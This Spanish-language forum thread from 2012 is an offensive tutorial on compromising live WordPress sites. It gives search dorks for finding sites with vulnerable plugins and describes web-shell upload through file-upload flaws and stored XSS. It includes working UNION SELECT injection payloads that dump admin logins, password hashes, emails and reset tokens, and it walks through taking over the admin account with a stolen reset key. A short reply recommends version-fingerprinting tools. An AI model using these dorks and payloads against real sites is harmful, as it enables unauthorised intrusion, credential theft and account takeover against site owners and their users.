WordPress y Algunas de sus Vulnerabilidades

Iniciado por CalebBucker, Agosto 31, 2012, 05:48:18 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Agosto 31, 2012, 05:48:18 PM Ultima modificación: Noviembre 23, 2014, 01:09:24 PM por Expermicid

WordPress  ¿Qué es?

WordPress es un sistema de gestión de contenido (en inglés Content Management System, o CMS) enfocado a la creación de blogs (sitios web periódicamente actualizados). Desarrollado en PHP y MySQL, bajo licencia GPL y código modificable. WordPress se ha convertido junto a Movable Type en el CMS más popular de la blogosfera y en el más popular con respecto a cualquier otro CMS de aplicación general. Las causas de su enorme crecimiento son, entre otras, su licencia, su facilidad de uso y sus características como gestor de contenidos.

WordPress ¿Objetivo de Hackers?

Según Wikipedia: WordPress es usado por más del 16,7% en el rank Alexa Internet "top 1 million" de sitios web y en agosto de 2011 gestiona el 22% de todos los nuevos sitios web.

Esto y debido a los miles de plugins y temas disponibles para WordPress, no hace falta decir que los programadores han codificado descuidadamente una parte equitativa de estos y que las posibilidades de una mayor escalada de privilegio para el hacker si encuentra un sitio web utilizando un plugin explotable o no actualizados . Estos pueden ir desde las vulnerabilidades de tipo SQLi a LFI de la que voy a explicar más abajo. Pero en términos más simples un plugin web explotable eventualmente puede conducir a la administración y el acceso total al servidor.

¿Cómo encontramos sitios web que utilicen WordPress?

Usando dorks simples que pueden ser eficaces, por ejemplo:
Código: txt
intext:"Proudly powered by WordPress. "
intext:"Powered by WordPress. "


Además, podemos utilizar la ruta de configuración estándar de WordPress, utilizando la siguiente dork:
Código: txt
inurl: /wordpress/wp-content/plugins/


Esto encuentra un montón de sitios web de WordPress con los listados de directorios habilitados. Podemos navegar por el directorio y tomar nota de los plugins que utiliza el servidor. Esto es parte del proceso de enumeración, una vez que hemos tomado nota de lo plugins nos dirigimos a exploit-db en busca de exploits para dichos plugins.

Código: txt
http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=wordpress&filter_author=&filter_platform=0&filter_type=0&filter_port=&filter_osvdb=&filter_cve=


¿Cómo explotamos sitios WordPress? Ejemplos reales:

1) Arbitrary File Upload: Easy Comment Uploads - Version - 3.2.1, usamos la siguiente dork:

Código: txt
inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php


Apreciaremos el sitio web de la siguiente forma:


Después de eso, es muy sencillo subir y localizar nuestra shell, solo queda disfrutar de ella.


2) Stored XSS: Version 3.2.3, usamos la siguiente dork:

Código: txt
inurl:/wp-content/plugins/count-per-day/notes.php


Apreciaremos el sitio web de la siguiente forma:


Podemos inyectar cualquier codigo javascript (XSS) la cual automaticamente se almacenara en el stored. El archivo "notes.php" no se limita solo a los administradores, por lo tanto cualquier persona puede acceder al archivo.


3) Arbitrary File Upload: Custom Content Type Manager, usamos la siguiente dork:

Código: txt
inurl:/wp-content/plugins/custom-content-type-manager/upload_form.php


Apreciaremos el sitio web de la siguiente forma:


Desde ahí se puede subir una shell, pero tenemos que cargarlo como una extensión de imagen (JPG/PNG/GIF). Para acceder a la shell, la encontraremos la siguiente manera:

Código: txt
http://www.sitio-web.com/wp-content/uploads/[YYYY]/[MM]/shell.php.jpg



4) SQL Injection: Wordpress HD Webplayer - Version 1.1, usamos la siguiente dork:

Código: txt
inurl:/wp-content/plugins/hd-webplayer/playlist.php?videoid=


Apreciaremos el sitio web de la siguiente forma:


Desde ahí se puede hacer una inyección básica, en primer lugar nos encontramos con las columnas, digamos que tiene 11, entonces inyectamos de la siguiente manera:

Código: txt
videoid=2+/*!UNION*/+/*!SELECT*/+group_concat(ID,0x3a,user_login,0x3a,user_pass,0x3b),2,3,4,5,6,7,8,9,10,11+from​​+wp_users


Luego, por supuesto, una vez que se ha inyectado vamos a obtener los datos del administrador:


5) [Full-disclosure] WordPress <= 2.8.3 Remote admin reset password

Esta vulnerabilidad se puede utilizar cuando tenemos un sitio web WordPress vulnerable a SQL Injection, la cual podemos obtener los datos administrativos como son el USUARIO, E-MAIL y PASSWORD, pero como ya sabemos y apreciamos en la imagen anterior, todo PASSWORD de WordPress estan encryptadas de una manera que es muy dificil de desencryptar, para ello usaremos esto metodo que consiste en Resetear el Password con el usuario o e-mail administrativo, la cual obtendremos un Token con lo que facilmente podemos cambiar la contraseña administrativa.

Obtendremos el user_login y user_email de la siguiente manera:
Código: txt
/*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_email,0x3b),2,3,4,5,6,7,8,9,10,11 from wp_users

Obtenido el usuario o e-mail nos dirigimos a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y seleccionamos en ¿Olvidó su contraseña? introducimos el usuario o e-mail


Presionaremos en "Get New Password" la cual el sitio web enviara una codigo de activacion (Token)   entonces como es logico, dicho Token se almacena en la DB, por lo tanto obtendremos dicho codigo de la siguiente manera:
Código: txt
/*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_activation_key,0x3b),2,3,4,5,6,7,8,9,1​0,11 from wp_users


Obtenido dicho Token, solo nos faltaria restablecer la contraseña, para ello nos dirigimos al siguiente link:
Código: txt
http://www.sitio-web.com/wp-login.php?action=rp&key=Token&login=Usuario


Remplazamos "Token" y "Usuario" por lo datos que nos arroja la DB, por ejemplo:
Código: txt
http://www.sitio-web.com/wp-login.php?action=rp&key=RXr7T7lplszV&login=admin


Por lo que obtendremos la opcion de restablecer la contraseña facilmente, como vemos en la siguiente imagen:


6) Full Path Disclosure (FPD), usaremos la siguiente dork:
Código: txt
inurl:"/wp-includes/

Apreciaremos el sitio web de la siguiente forma:


Dando click en cualquiera de los archivos, facilmente el sitio web nos mostrara el Path (ubicacion) de sus archivos.

Ejemplo:
Código: txt
http://www.vulnerability-lab.com/dev/wp-includes/admin-bar.php


Mayormente esta Vulnerabilidad lo tienen el 80% de todos los sitios WordPress, pues facilmente podemos ir a cualquier sitio (WordPress) y diriginos a /wp-includes/ para apreciar dicha vulnerabilidad.

7) Fingerprinting WordPress version:

Este metodo sirve para obtener las versiones correcta de un sitio WordPress, para ello existen muchas herramientas como son:

Esas herramientas aparte de obtener la versión de WordPress de la página web, tambien puede  obtener información sobre las versiones de los plugins instalados y compara su versión a la última y más a la versión de los datos disponibles en la actualidad que indica si puede ser vulnerable o no.

Es todo por ahora.

Saludos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

buen post, Nunca hay que fiarse tampoco de las herramientas de fingerprintimg online, que por lo general buscan las version del blog en los tag <meta>, el admin podria modificarlos, para no dejar ver la version correcta, dejo una tool online para la busquedad de version de este tipo de CMS, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Twitter: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

WhatWeb es muy buena tool para obtener todos los datos del servidor web.

Saludos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta